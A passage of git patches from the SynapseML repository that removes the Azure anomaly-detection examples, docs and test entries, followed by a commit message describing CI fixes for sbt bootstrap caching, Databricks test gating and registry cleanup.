("1972-06-01T00:00:00Z", 805.0), - ("1972-07-01T00:00:00Z", 821.0), - ("1972-08-01T00:00:00Z", 20000.0), - ("1972-09-01T00:00:00Z", 883.0), - ("1972-10-01T00:00:00Z", 898.0), - ("1972-11-01T00:00:00Z", 957.0), - ("1972-12-01T00:00:00Z", 924.0), - ("1973-01-01T00:00:00Z", 881.0), - ("1973-02-01T00:00:00Z", 837.0), - ("1973-03-01T00:00:00Z", 90000.0) -).toDF("timestamp", "value") - .withColumn("group", lit(1)) - .withColumn("inputs", struct(col("timestamp"), col("value"))) - .groupBy(col("group")) - .agg(sort_array(collect_list(col("inputs"))).alias("inputs"))) - -val dla = (new DetectLastAnomaly() - .setSubscriptionKey(anomalyKey) - .setLocation("westus2") - .setOutputCol("anomalies") - .setSeriesCol("inputs") - .setGranularity("monthly") - .setErrorCol("errors")) - -dla.transform(df).show() -``` - - - - - - -### DetectAnomalies - - - - - - - - - -```python -from synapse.ml.services import * - -anomalyKey = os.environ.get("ANOMALY_API_KEY", getSecret("anomaly-api-key")) -df = (spark.createDataFrame([ - ("1972-01-01T00:00:00Z", 826.0), - ("1972-02-01T00:00:00Z", 799.0), - ("1972-03-01T00:00:00Z", 890.0), - ("1972-04-01T00:00:00Z", 900.0), - ("1972-05-01T00:00:00Z", 766.0), - ("1972-06-01T00:00:00Z", 805.0), - ("1972-07-01T00:00:00Z", 821.0), - ("1972-08-01T00:00:00Z", 20000.0), - ("1972-09-01T00:00:00Z", 883.0), - ("1972-10-01T00:00:00Z", 898.0), - ("1972-11-01T00:00:00Z", 957.0), - ("1972-12-01T00:00:00Z", 924.0), - ("1973-01-01T00:00:00Z", 881.0), - ("1973-02-01T00:00:00Z", 837.0), - ("1973-03-01T00:00:00Z", 90000.0) -], ["timestamp", "value"]) - .withColumn("group", lit(1)) - .withColumn("inputs", struct(col("timestamp"), col("value"))) - .groupBy(col("group")) - .agg(sort_array(collect_list(col("inputs"))).alias("inputs"))) - -da = (DetectAnomalies() - .setSubscriptionKey(anomalyKey) - .setLocation("westus2") - .setOutputCol("anomalies") - .setSeriesCol("inputs") - .setGranularity("monthly")) - -da.transform(df).show() -``` - - - - -```scala -import com.microsoft.azure.synapse.ml.services.anomaly.DetectAnomalies -import spark.implicits._ - -val anomalyKey = sys.env.getOrElse("ANOMALY_API_KEY", None) -val df = (Seq( - ("1972-01-01T00:00:00Z", 826.0), - ("1972-02-01T00:00:00Z", 799.0), - ("1972-03-01T00:00:00Z", 890.0), - ("1972-04-01T00:00:00Z", 900.0), - ("1972-05-01T00:00:00Z", 766.0), - ("1972-06-01T00:00:00Z", 805.0), - ("1972-07-01T00:00:00Z", 821.0), - ("1972-08-01T00:00:00Z", 20000.0), - ("1972-09-01T00:00:00Z", 883.0), - ("1972-10-01T00:00:00Z", 898.0), - ("1972-11-01T00:00:00Z", 957.0), - ("1972-12-01T00:00:00Z", 924.0), - ("1973-01-01T00:00:00Z", 881.0), - ("1973-02-01T00:00:00Z", 837.0), - ("1973-03-01T00:00:00Z", 90000.0) -).toDF("timestamp", "value") - .withColumn("group", lit(1)) - .withColumn("inputs", struct(col("timestamp"), col("value"))) - .groupBy(col("group")) - .agg(sort_array(collect_list(col("inputs"))).alias("inputs"))) - -val da = (new DetectAnomalies() - .setSubscriptionKey(anomalyKey) - .setLocation("westus2") - .setOutputCol("anomalies") - .setSeriesCol("inputs") - .setGranularity("monthly")) - -da.transform(df).show() -``` - - - - - - -### SimpleDetectAnomalies - - - - - - - - - -```python -from synapse.ml.services import * - -anomalyKey = os.environ.get("ANOMALY_API_KEY", getSecret("anomaly-api-key")) -df = (spark.createDataFrame([ - ("1972-01-01T00:00:00Z", 826.0, 1.0), - ("1972-02-01T00:00:00Z", 799.0, 1.0), - ("1972-03-01T00:00:00Z", 890.0, 1.0), - ("1972-04-01T00:00:00Z", 900.0, 1.0), - ("1972-05-01T00:00:00Z", 766.0, 1.0), - ("1972-06-01T00:00:00Z", 805.0, 1.0), - ("1972-07-01T00:00:00Z", 821.0, 1.0), - ("1972-08-01T00:00:00Z", 20000.0, 1.0), - ("1972-09-01T00:00:00Z", 883.0, 1.0), - ("1972-10-01T00:00:00Z", 898.0, 1.0), - ("1972-11-01T00:00:00Z", 957.0, 1.0), - ("1972-12-01T00:00:00Z", 924.0, 1.0), - ("1973-01-01T00:00:00Z", 881.0, 1.0), - ("1973-02-01T00:00:00Z", 837.0, 1.0), - ("1973-03-01T00:00:00Z", 90000.0, 1.0), - ("1972-01-01T00:00:00Z", 826.0, 2.0), - ("1972-02-01T00:00:00Z", 799.0, 2.0), - ("1972-03-01T00:00:00Z", 890.0, 2.0), - ("1972-04-01T00:00:00Z", 900.0, 2.0), - ("1972-05-01T00:00:00Z", 766.0, 2.0), - ("1972-06-01T00:00:00Z", 805.0, 2.0), - ("1972-07-01T00:00:00Z", 821.0, 2.0), - ("1972-08-01T00:00:00Z", 20000.0, 2.0), - ("1972-09-01T00:00:00Z", 883.0, 2.0), - ("1972-10-01T00:00:00Z", 898.0, 2.0), - ("1972-11-01T00:00:00Z", 957.0, 2.0), - ("1972-12-01T00:00:00Z", 924.0, 2.0), - ("1973-01-01T00:00:00Z", 881.0, 2.0), - ("1973-02-01T00:00:00Z", 837.0, 2.0), - ("1973-03-01T00:00:00Z", 90000.0, 2.0) -], ["timestamp", "value", "group"])) - -sda = (SimpleDetectAnomalies() - .setSubscriptionKey(anomalyKey) - .setLocation("westus2") - .setOutputCol("anomalies") - .setGroupbyCol("group") - .setGranularity("monthly")) - -sda.transform(df).show() -``` - - - - -```scala -import com.microsoft.azure.synapse.ml.services.anomaly.SimpleDetectAnomalies -import spark.implicits._ - -val anomalyKey = sys.env.getOrElse("ANOMALY_API_KEY", None) -val baseSeq = Seq( - ("1972-01-01T00:00:00Z", 826.0), - ("1972-02-01T00:00:00Z", 799.0), - ("1972-03-01T00:00:00Z", 890.0), - ("1972-04-01T00:00:00Z", 900.0), - ("1972-05-01T00:00:00Z", 766.0), - ("1972-06-01T00:00:00Z", 805.0), - ("1972-07-01T00:00:00Z", 821.0), - ("1972-08-01T00:00:00Z", 20000.0), - ("1972-09-01T00:00:00Z", 883.0), - ("1972-10-01T00:00:00Z", 898.0), - ("1972-11-01T00:00:00Z", 957.0), - ("1972-12-01T00:00:00Z", 924.0), - ("1973-01-01T00:00:00Z", 881.0), - ("1973-02-01T00:00:00Z", 837.0), - ("1973-03-01T00:00:00Z", 9000.0) -) -val df = (baseSeq.map(p => (p._1, p._2, 1.0)) - .++(baseSeq.map(p => (p._1, p._2, 2.0))) - .toDF("timestamp", "value", "group")) - -val sda = (new SimpleDetectAnomalies() - .setSubscriptionKey(anomalyKey) - .setLocation("westus2") - .setOutputCol("anomalies") - .setGroupbyCol("group") - .setGranularity("monthly")) - -sda.transform(df).show() -``` - - - - - diff --git a/docs/Quick Examples/transformers/transformers_cognitive.md b/docs/Quick Examples/transformers/transformers_cognitive.md index c6ae5d3b7ca..e813efd1010 100644 --- a/docs/Quick Examples/transformers/transformers_cognitive.md +++ b/docs/Quick Examples/transformers/transformers_cognitive.md @@ -25,11 +25,6 @@ import FormRecognizer, {toc as FormRecognizerTOC} from './cognitive/_FormRecogni -import AnomalyDetection, {toc as AnomalyDetectionTOC} from './cognitive/_AnomalyDetection.md'; - - - - import Face, {toc as FaceTOC} from './cognitive/_Face.md'; @@ -46,5 +41,5 @@ import AzureSearch, {toc as AzureSearchTOC} from './cognitive/_AzureSearch.md'; export const toc = [...TextAnalyticsTOC, ...TranslatorTOC, ...ComputerVisionTOC, -...FormRecognizerTOC, ...AnomalyDetectionTOC, ...FaceTOC, ...SpeechToTextTOC, +...FormRecognizerTOC, ...FaceTOC, ...SpeechToTextTOC, ...AzureSearchTOC] diff --git a/pipeline.yaml b/pipeline.yaml index 4b57b47c300..761a893dde7 100644 --- a/pipeline.yaml +++ b/pipeline.yaml @@ -657,9 +657,6 @@ jobs: PACKAGE: "onnx" geospatial: PACKAGE: "services.geospatial" - anomaly: - PACKAGE: "services.anomaly" - FLAKY: "true" face: PACKAGE: "services.face" FLAKY: "true" diff --git a/src/test/scala/com/microsoft/azure/synapse/ml/core/test/fuzzing/FuzzingTest.scala b/src/test/scala/com/microsoft/azure/synapse/ml/core/test/fuzzing/FuzzingTest.scala index 8905e3f88b4..e6ec91917e7 100644 --- a/src/test/scala/com/microsoft/azure/synapse/ml/core/test/fuzzing/FuzzingTest.scala +++ b/src/test/scala/com/microsoft/azure/synapse/ml/core/test/fuzzing/FuzzingTest.scala @@ -69,14 +69,11 @@ class FuzzingTest extends TestBase { "com.microsoft.azure.synapse.ml.lightgbm.LightGBMClassificationModel", "com.microsoft.azure.synapse.ml.lightgbm.LightGBMRankerModel", "com.microsoft.azure.synapse.ml.services.form.FormOntologyTransformer", - "com.microsoft.azure.synapse.ml.services.anomaly.SimpleDetectMultivariateAnomaly", "com.microsoft.azure.synapse.ml.automl.BestModel", //TODO add proper interfaces to all of these "com.microsoft.azure.synapse.ml.codegen.TestRegressorModel", "com.microsoft.azure.synapse.ml.codegen.TestRegressor", "com.microsoft.azure.synapse.ml.services.form.GetCustomModel", "com.microsoft.azure.synapse.ml.services.form.AnalyzeCustomModel", - "com.microsoft.azure.synapse.ml.services.anomaly.DetectLastMultivariateAnomaly", - "com.microsoft.azure.synapse.ml.services.anomaly.SimpleFitMultivariateAnomaly", "com.microsoft.azure.synapse.ml.services.geospatial.AzureMapsTraitsSuite$TestableMapsAsyncReply", // Azure Maps Spatial service retired on 9/30/2025 "com.microsoft.azure.synapse.ml.services.geospatial.CheckPointInPolygon" @@ -131,16 +128,12 @@ class FuzzingTest extends TestBase { "com.microsoft.azure.synapse.ml.vw.VowpalWabbitContextualBanditModel", "com.microsoft.azure.synapse.ml.vw.VowpalWabbitGenericModel", "com.microsoft.azure.synapse.ml.services.FormOntologyTransformer", - "com.microsoft.azure.synapse.ml.services.DetectMultivariateAnomaly", "com.microsoft.azure.synapse.ml.services.form.FormOntologyTransformer", - "com.microsoft.azure.synapse.ml.services.anomaly.SimpleDetectMultivariateAnomaly", "com.microsoft.azure.synapse.ml.vw.VowpalWabbitRegressionModel", "com.microsoft.azure.synapse.ml.codegen.TestRegressorModel", "com.microsoft.azure.synapse.ml.codegen.TestRegressor", "com.microsoft.azure.synapse.ml.services.form.GetCustomModel", "com.microsoft.azure.synapse.ml.services.form.AnalyzeCustomModel", - "com.microsoft.azure.synapse.ml.services.anomaly.DetectLastMultivariateAnomaly", - "com.microsoft.azure.synapse.ml.services.anomaly.SimpleFitMultivariateAnomaly", "com.microsoft.azure.synapse.ml.services.geospatial.AzureMapsTraitsSuite$TestableMapsAsyncReply", // Azure Maps Spatial service retired on 9/30/2025 "com.microsoft.azure.synapse.ml.services.geospatial.CheckPointInPolygon" @@ -194,14 +187,11 @@ class FuzzingTest extends TestBase { "com.microsoft.azure.synapse.ml.lightgbm.LightGBMRankerModel", "com.microsoft.azure.synapse.ml.lightgbm.LightGBMRegressionModel", "com.microsoft.azure.synapse.ml.services.form.FormOntologyTransformer", - "com.microsoft.azure.synapse.ml.services.anomaly.SimpleDetectMultivariateAnomaly", "com.microsoft.azure.synapse.ml.train.ComputePerInstanceStatistics", "com.microsoft.azure.synapse.ml.codegen.TestRegressorModel", "com.microsoft.azure.synapse.ml.codegen.TestRegressor", "com.microsoft.azure.synapse.ml.services.form.GetCustomModel", "com.microsoft.azure.synapse.ml.services.form.AnalyzeCustomModel", - "com.microsoft.azure.synapse.ml.services.anomaly.DetectLastMultivariateAnomaly", - "com.microsoft.azure.synapse.ml.services.anomaly.SimpleFitMultivariateAnomaly", "com.microsoft.azure.synapse.ml.services.geospatial.AzureMapsTraitsSuite$TestableMapsAsyncReply", // Azure Maps Spatial service retired on 9/30/2025 "com.microsoft.azure.synapse.ml.services.geospatial.CheckPointInPolygon" @@ -257,14 +247,11 @@ class FuzzingTest extends TestBase { "com.microsoft.azure.synapse.ml.lightgbm.LightGBMRankerModel", "com.microsoft.azure.synapse.ml.lightgbm.LightGBMRegressionModel", "com.microsoft.azure.synapse.ml.services.form.FormOntologyTransformer", - "com.microsoft.azure.synapse.ml.services.anomaly.SimpleDetectMultivariateAnomaly", "com.microsoft.azure.synapse.ml.train.ComputePerInstanceStatistics", "com.microsoft.azure.synapse.ml.codegen.TestRegressorModel", "com.microsoft.azure.synapse.ml.codegen.TestRegressor", "com.microsoft.azure.synapse.ml.services.form.GetCustomModel", "com.microsoft.azure.synapse.ml.services.form.AnalyzeCustomModel", - "com.microsoft.azure.synapse.ml.services.anomaly.DetectLastMultivariateAnomaly", - "com.microsoft.azure.synapse.ml.services.anomaly.SimpleFitMultivariateAnomaly", "com.microsoft.azure.synapse.ml.services.geospatial.AzureMapsTraitsSuite$TestableMapsAsyncReply", // Azure Maps Spatial service retired on 9/30/2025 "com.microsoft.azure.synapse.ml.services.geospatial.CheckPointInPolygon" @@ -402,9 +389,6 @@ class FuzzingTest extends TestBase { test("Verify all classes extending HasSubscriptionKey also extend HasAADToken") { val exemptions = Set[String]( - // MVAD doesn't support aad token for now - "com.microsoft.azure.synapse.ml.services.anomaly.SimpleDetectMultivariateAnomaly", - "com.microsoft.azure.synapse.ml.services.anomaly.SimpleFitMultivariateAnomaly", // TO BE VERIFIED "com.microsoft.azure.synapse.ml.services.speech.ConversationTranscription", "com.microsoft.azure.synapse.ml.services.speech.SpeechToTextSDK", diff --git a/tools/docgen/docgen/manifest.yaml b/tools/docgen/docgen/manifest.yaml index d141445fc30..75d0c04c3f9 100644 --- a/tools/docgen/docgen/manifest.yaml +++ b/tools/docgen/docgen/manifest.yaml @@ -8,16 +8,6 @@ channels: output_structure: flat # flat / hierarchy auto_pre_req: true notebooks: - - path: Explore Algorithms/AI Services/Multivariate Anomaly Detection.ipynb - filename: multivariate-anomaly-detection - metadata: - title: Analyze time series - description: Use SynapseML and Azure AI services for multivariate anomaly detection. - ms.topic: overview - ms.custom: "\n - build-2023\n - ignite-2023" - ms.reviewer: fsolomon - author: JessicaXYWang - ms.author: jessiwang - path: Explore Algorithms/AI Services/Overview.ipynb filename: how-to-use-ai-services-with-synapseml metadata: diff --git a/website/docusaurus.config.js b/website/docusaurus.config.js index afcd64d1808..69784b838b9 100644 --- a/website/docusaurus.config.js +++ b/website/docusaurus.config.js @@ -189,7 +189,7 @@ module.exports = async function createConfigAsync() { from: '/docs/features/cognitive_services/CognitiveServices%20-%20Overview/', }, { - to: '/docs/Explore Algorithms/AI Services/Multivariate Anomaly Detection/', + to: '/docs/Explore Algorithms/Anomaly Detection/Quickstart - Isolation Forests/', from: '/docs/features/isolation_forest/IsolationForest%20-%20Multivariate%20Anomaly%20Detection/', }, { @@ -257,7 +257,7 @@ module.exports = async function createConfigAsync() { from: '/docs/features/responsible_ai/Interpretability%20-%20Tabular%20SHAP%20explainer/', }, { - to: '/docs/Explore Algorithms/AI Services/Multivariate Anomaly Detection/', + to: '/docs/Explore Algorithms/Anomaly Detection/Quickstart - Isolation Forests/', from: '/docs/features/cognitive_services/CognitiveServices%20-%20Multivariate%20Anomaly%20Detection/', }, { @@ -405,7 +405,7 @@ module.exports = async function createConfigAsync() { from: "/docs/0.9.5/features/responsible_ai/Interpretability%20-%20Explanation%20Dashboard/", }, { - to: "/docs/Quick Examples/estimators/estimators_cognitive/", + to: "/docs/Quick Examples/transformers/transformers_cognitive/", from: "/docs/documentation/estimators/estimators_cognitive/", }, { diff --git a/website/sidebars.js b/website/sidebars.js index 0ddca96960b..66df2e5dab5 100644 --- a/website/sidebars.js +++ b/website/sidebars.js @@ -33,7 +33,6 @@ module.exports = { items: [ "Explore Algorithms/AI Services/Overview", "Explore Algorithms/AI Services/Geospatial Services", - "Explore Algorithms/AI Services/Multivariate Anomaly Detection", "Explore Algorithms/AI Services/Advanced Usage - Async, Batching, and Multi-Key", "Explore Algorithms/AI Services/Quickstart - Analyze Celebrity Quotes", "Explore Algorithms/AI Services/Quickstart - Analyze Text", @@ -41,7 +40,6 @@ module.exports = { "Explore Algorithms/AI Services/Quickstart - Create Audiobooks", "Explore Algorithms/AI Services/Quickstart - Document Question and Answering with PDFs", "Explore Algorithms/AI Services/Quickstart - Flooding Risk", - "Explore Algorithms/AI Services/Quickstart - Predictive Maintenance", ], }, { From bacc224be734b59d45b6edd54987f25dbeca7b43 Mon Sep 17 00:00:00 2001 From: Rana Singh Date: Wed, 5 Aug 2026 21:44:28 -0700 Subject: [PATCH 27/93] ci: land sbt bootstrap and stacked CI fixes (#2581) * fix: correct LightGBM improvement tolerance semantics ## Summary Require lower-is-better validation metrics to improve by more than improvementTolerance before resetting the early-stopping counter. Clarify the parameter documentation and add focused regression coverage for both metric directions and zero tolerance. ## Prompting Intent Investigate GitHub issue #2565 from a new branch based on master, determine whether the report is valid, and implement a complete fix suitable for an upstream SynapseML pull request. ## Linked Sources - GitHub issue: https://github.com/microsoft/SynapseML/issues/2565 ## Rationale The existing higher-is-better comparison already treats improvementTolerance as a minimum delta, while lower-is-better metrics accepted small regressions. A package-internal comparison helper makes the intended symmetric behavior directly testable without adding a slow native LightGBM fixture or changing public APIs. Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> * fix: harden LightGBM early stopping parameters ## Summary Expand improvement-tolerance coverage across representative LightGBM metrics and tolerance values. Preserve disabled early stopping when earlyStoppingRound is zero, validate both early-stopping parameters, and document their accepted ranges. ## Prompting Intent The engineer requested broader parameter testing to ensure the issue #2565 fix does not introduce downstream regressions. Cover related defaults, boundaries, metric families, invalid values, and early-stopping-round interactions before updating the pull request. ## Linked Sources - GitHub issue: https://github.com/microsoft/SynapseML/issues/2565 - Pull request: https://github.com/microsoft/SynapseML/pull/2578 - LightGBM 3.3.5 parameters: https://lightgbm.readthedocs.io/en/v3.3.5/Parameters.html#early-stopping-round ## Rationale Correct tolerance semantics classify more rounds as non-improving, so the wrapper must explicitly preserve LightGBM's zero-means-disabled behavior. Shared Spark parameter validators reject values that LightGBM does not support, while deterministic matrix tests cover the decision logic without depending on platform-specific native binaries. Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> * ci: prevent sbt bootstrap Maven rate limits SynapseML's Azure Pipelines fans out ~30 hosted-agent matrix jobs that each cold-bootstrap the sbt launcher (org.scala-sbt:sbt:1.10.11, pinned in project/build.properties) and resolve Ivy dependencies from public Maven Central. When many fresh agents -- and several overlapping PR builds -- do this simultaneously, Maven Central returns HTTP 429 (rate limit) and "Setup repo" fails before any test runs (e.g. ADO build 229124511, UnitTests flaky). The pre-existing jittered retries only widened the window against a sustained throttle; they did not remove the thundering herd. Durable fix (cache-first, stagger as supplement): * templates/sbt_cache.yml (primary): Azure Cache@2 for the sbt launcher boot dir (~/.sbt/boot -- the artifact that 429s) and the Ivy cache (~/.ivy2/cache). In steady state, jobs restore these from Azure's cache service and never touch Maven Central. Keys derive from the bootstrap inputs (project/build.properties, project/plugins.sbt, build.sbt) so they invalidate exactly when those change; restoreKeys give a safe partial fallback and continueOnError keeps a cache miss/corruption non-fatal. * BuildAndCacheSbt prewarm job: warms those caches once per run, mirroring the existing BuildAndCacheCondaEnv job. * tools/ci/sbt_retry.sh: single tested helper replacing the duplicated inline retry blocks. Smooths only the cold-cache path with a bounded random start stagger (desynchronises concurrent cold bootstraps) plus bounded jittered exponential-backoff retries. Fails visibly on exhaustion -- no success fallback masking. Wired the shared cache template into every sbt-running job (Style, Publish, Databricks/Fabric E2E, BuildDocker, PythonTests, RTests, WebsiteSamplesTests, UnitTests, ReleaseBranchCompat) by reviving the dormant ivy_cache placeholders, and routed all `sbt setup` bootstraps through the helper. Tests (python -m pytest tools/ci/tests/): deterministically exercise the retry/backoff/stagger + visible-failure behaviour with a fake sbt, and assert pipeline.yaml parses, the cache keys invalidate on bootstrap inputs, and every sbt job is wired to the cache template + prewarm job. No LightGBM, Isolation Forest, GPU, or application changes. TLS verification, job coverage, and all tests are preserved. Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> * ci: serialize sbt cache prewarm before fan-out ## Summary Make the sbt bootstrap prewarm a mandatory gate before Azure Pipeline matrix jobs start. Add Coursier caching, require exact hits on the boot, Ivy, and Coursier caches before disabling the cold-cache stagger, wire the conditional release job, and strengthen pipeline tests around the dependency graph and cache lifecycle. ## Prompting Intent The engineer asked to fix Maven Central HTTP 429 setup failures in a new stacked PR. The solution must prevent fresh hosted agents from cold-bootstrapping sbt concurrently, allow at least the existing job fan-out after bootstrap is safe, retain bounded retry behavior for cache-service failures, and keep bootstrap failures visible rather than masking them. ## Linked Sources - Failing Azure job: https://msdata.visualstudio.com/b9b2accc-2d1c-45b3-9d24-0eb5d78cc47f/_build/results?buildId=229124511&view=logs&jobId=e97036a1-bcdb-5cd5-905e-b0cf2c8f33cf - Parent PR investigation: https://github.com/microsoft/SynapseML/pull/2578#issuecomment-5147830518 - Stacked PR: https://github.com/microsoft/SynapseML/pull/2581 - Prewarm concurrency review: https://github.com/microsoft/SynapseML/pull/2581#discussion_r3693956516 ## Rationale A best-effort prewarm running beside the matrix does not protect the first run for a new dependency key, so every sbt-running job now waits for one successful warm job. Cache-service errors remain non-fatal and fall back to staggered retries, but a failed warm blocks fan-out to avoid recreating the thundering herd. Coursier is cached alongside sbt boot and Ivy because modern resolution uses all three stores, and the stagger is suppressed only when every cache is an exact hit so dependency-only changes remain desynchronized. Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> * ci: skip Databricks E2E for non-impacting PRs ## Summary Add conservative pull-request impact detection for the six-leg Databricks E2E matrix. Clearly non-impacting documentation, website, GitHub metadata, CI helper, and isolated test-source changes skip Databricks, while all uncertain or runtime-affecting changes continue to run it. ## Prompting Intent The engineer asked to extend PR #2581 so expensive Databricks Azure Pipeline jobs are skipped when the pull request cannot affect notebook execution. The gate must preserve scheduled and branch coverage, avoid brittle CPU-shard mapping, and default to running whenever impact detection is incomplete or uncertain. ## Linked Sources - Stacked CI PR: https://github.com/microsoft/SynapseML/pull/2581 - Full green baseline build: https://msdata.visualstudio.com/b9b2accc-2d1c-45b3-9d24-0eb5d78cc47f/_build/results?buildId=229164855 - Azure multi-job output variables: https://learn.microsoft.com/en-us/azure/devops/pipelines/process/conditions?view=azure-devops#job-output-variables-used-in-other-job-conditions ## Rationale Use one fail-open decision for the complete Databricks matrix because the five CPU partitions mix notebooks across modules and are not stable ownership boundaries. The detector skips only a narrow allowlist of clearly inert paths; runtime code, notebooks, build and pipeline files, Databricks test utilities, shared TestBase infrastructure, unknown paths, empty diffs, and fetch or classifier failures all keep E2E enabled. Non-PR builds always run to preserve scheduled and release coverage. Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> * ci: gate Databricks CPU and GPU tests independently (#2582) * Gate Databricks CPU and GPU tests independently ## Summary Classify changed paths against the actual Databricks CPU and GPU runtime surfaces, emit separate fail-open decisions, and gate each matrix leg independently. ## Prompting Intent The engineer asked to determine exactly when Databricks tests should run, lock down the path rules, and deliver the work as a stacked pull request above PR #2581. ## Linked Sources - Base CI hardening PR: https://github.com/microsoft/SynapseML/pull/2581 - GitHub stacked PR documentation: https://docs.github.com/en/pull-requests/how-tos/create-pull-requests/creating-stacked-pull-requests - ADO timing audit: build 229176406 ## Rationale CPU and GPU decisions are separated because most module changes cannot affect the expensive GPU notebooks. Unknown paths and shared build or test infrastructure remain fail-open, while explicit test-only and unrelated tooling paths skip safely. This preserves coverage while avoiding unrelated GPU capacity waits. Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> * ci: fix and streamline release branch compatibility (#2583) * Fix and streamline release branch compatibility checks ## Summary Run release compatibility checks for both GitHub target-branch formats and replace redundant compile, setup, credential, and per-package SBT tasks with one cached, project-scoped validation process. ## Prompting Intent The engineer asked to fix the silently skipped ReleaseBranchCompat job and simplify it before enabling it so the check is both reliable and efficient. ## Linked Sources - Base CI hardening PR: https://github.com/microsoft/SynapseML/pull/2581 - Evidence build with skipped phase: ADO build 229176406 - Parent stack layer: ci/databricks-impact-gating ## Rationale The target condition accepts both values observed across Azure Repos and GitHub PR providers. A single SBT process retains full test compilation and the intended core, VW, and OpenCV compatibility suites while removing repeated build loading, root-wide IntelliJ setup, unnecessary Key Vault access, and Azure CLI authentication. Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> * ci: use Entra authentication for ACR cleanup (#2584) * Use Entra authentication for ACR cleanup Make the weekly ACR cleanup schedule-only, switch it to the dedicated cleanup service connection, replace storage connection-string authentication with Azure CLI Entra authentication, and add fail-safe cleanup tests. The engineer asked to repair the weekly cleanup failures caused by disabled key-based storage authentication, use the declared least-privileged identity, and prevent accidental CI or PR execution. - Failed scheduled build: ADO build 228250033 - Base CI hardening PR: https://github.com/microsoft/SynapseML/pull/2581 - Azure CLI pipeline-run reference: https://learn.microsoft.com/en-us/cli/azure/acr/pipeline-run - Parent stack layer: ci/release-branch-compat Using az storage blob exists with auth-mode login keeps all operations inside the AzureCLI task identity and removes runtime SDK installation, Key Vault access, and storage keys. Images are deleted only after the archive is confirmed, and subprocess argument lists avoid shell interpolation of registry-controlled names. Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> * Remove redundant CI authentication and Conda work (#2585) ## Summary Run non-Azure setup and coverage commands as Bash steps, install pinned Black without restoring the 8.6 GB Conda environment, and remove the ineffective standalone Conda cache consumer. ## Prompting Intent The engineer asked for additional improvements that should ship with the requested CI fixes to make builds faster and more reliable without broad behavioral changes. ## Linked Sources - CI efficiency audit from ADO build 229176406 - Base CI hardening PR: https://github.com/microsoft/SynapseML/pull/2581 - Parent stack layer: ci/fix-acr-cleanup-auth ## Rationale AzureCLI tasks create an isolated login for every invocation, so setup and coverage steps that never call az gain no authentication benefit. The Style job only needs pinned Black, not the full cached environment. The standalone Conda job was not a dependency and therefore could not prewarm consumers or prevent cold-cache fan-out. Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> --------- Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> --------- Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> --------- Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> * ci: extend Docker validation timeout ## Summary Raise the BuildDocker job timeout from 60 to 120 minutes and add a pipeline regression test that preserves enough time for both sequential image builds. ## Prompting Intent The engineer asked to diagnose and fix the remaining failure on #2581 and to continue full validation until the parent PR is ready, without hiding genuine test failures. ## Linked Sources - Parent PR: https://github.com/microsoft/SynapseML/pull/2581 - Failed PR build: https://msdata.visualstudio.com/b9b2accc-2d1c-45b3-9d24-0eb5d78cc47f/_build/results?buildId=229579403 - Matching master failure: https://msdata.visualstudio.com/b9b2accc-2d1c-45b3-9d24-0eb5d78cc47f/_build/results?buildId=229578121 - Matching master failure: https://msdata.visualstudio.com/b9b2accc-2d1c-45b3-9d24-0eb5d78cc47f/_build/results?buildId=229580525 - Matching master failure: https://msdata.visualstudio.com/b9b2accc-2d1c-45b3-9d24-0eb5d78cc47f/_build/results?buildId=229576499 ## Rationale The Dockerfiles and image behavior were unchanged, but recent hosted-agent builds required roughly 51 minutes when successful and exceeded the default one-hour job cap in multiple master and PR runs. A 120-minute job budget keeps both image validations mandatory while tolerating current registry and package download latency. This is safer and more targeted than skipping an image or doubling agent usage by splitting the builds into parallel jobs. Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> * ci: address PR review and protect package publishing ## Summary Resolve the blocking PR #2581 review findings by making ACR archival digest-safe, correcting PipelineRun names and sbt cache invalidation, warming cold agents before direct sbt calls, and validating the canonical package version before publishing. ## Prompting Intent The engineer asked to rebase PR #2581 onto current master, audit the new review feedback, fix valid actions, ensure the pipelines continue to publish package versions safely, review the complete change, and rerun Azure validation. ## Linked Sources - Integration PR and review threads: https://github.com/microsoft/SynapseML/pull/2581 - Stacked CI changes: https://github.com/microsoft/SynapseML/pull/2582 - Stacked CI changes: https://github.com/microsoft/SynapseML/pull/2583 - Stacked CI changes: https://github.com/microsoft/SynapseML/pull/2584 - Stacked CI changes: https://github.com/microsoft/SynapseML/pull/2585 - ACR transfer guidance: https://learn.microsoft.com/azure/container-registry/container-registry-transfer-images - ACR image deletion behavior: https://learn.microsoft.com/azure/container-registry/container-registry-delete ## Rationale Immutable manifest digests prevent mutable tags such as latest from reusing the wrong backup or deleting an unarchived manifest. Per-agent warming is limited to unavailable or inexact cache restores so exact hits remain fast, while the prewarm job still verifies dependency resolution. Package versions are resolved from the SBT source of truth and release publication fails before side effects when the v-tag disagrees. Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> --------- Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> --- .pipelines/clean-acr.yml | 20 +- pipeline.yaml | 474 +++++++++++++---------- templates/databricks_e2e_steps.yml | 23 ++ templates/sbt_cache.yml | 88 +++++ tools/acr/clean-acr.py | 86 ---- tools/acr/clean_acr.py | 203 ++++++++++ tools/acr/test_clean_acr.py | 186 +++++++++ tools/ci/README.md | 72 ++++ tools/ci/databricks_impact.py | 210 ++++++++++ tools/ci/get_sbt_version.sh | 21 + tools/ci/sbt_retry.sh | 122 ++++++ tools/ci/tests/test_databricks_impact.py | 136 +++++++ tools/ci/tests/test_pipeline_yaml.py | 401 +++++++++++++++++++ tools/ci/tests/test_sbt_retry.py | 195 ++++++++++ tools/ci/tests/test_sbt_version.py | 72 ++++ 15 files changed, 2005 insertions(+), 304 deletions(-) create mode 100644 templates/databricks_e2e_steps.yml create mode 100644 templates/sbt_cache.yml delete mode 100644 tools/acr/clean-acr.py create mode 100644 tools/acr/clean_acr.py create mode 100644 tools/acr/test_clean_acr.py create mode 100644 tools/ci/README.md create mode 100644 tools/ci/databricks_impact.py create mode 100755 tools/ci/get_sbt_version.sh create mode 100755 tools/ci/sbt_retry.sh create mode 100644 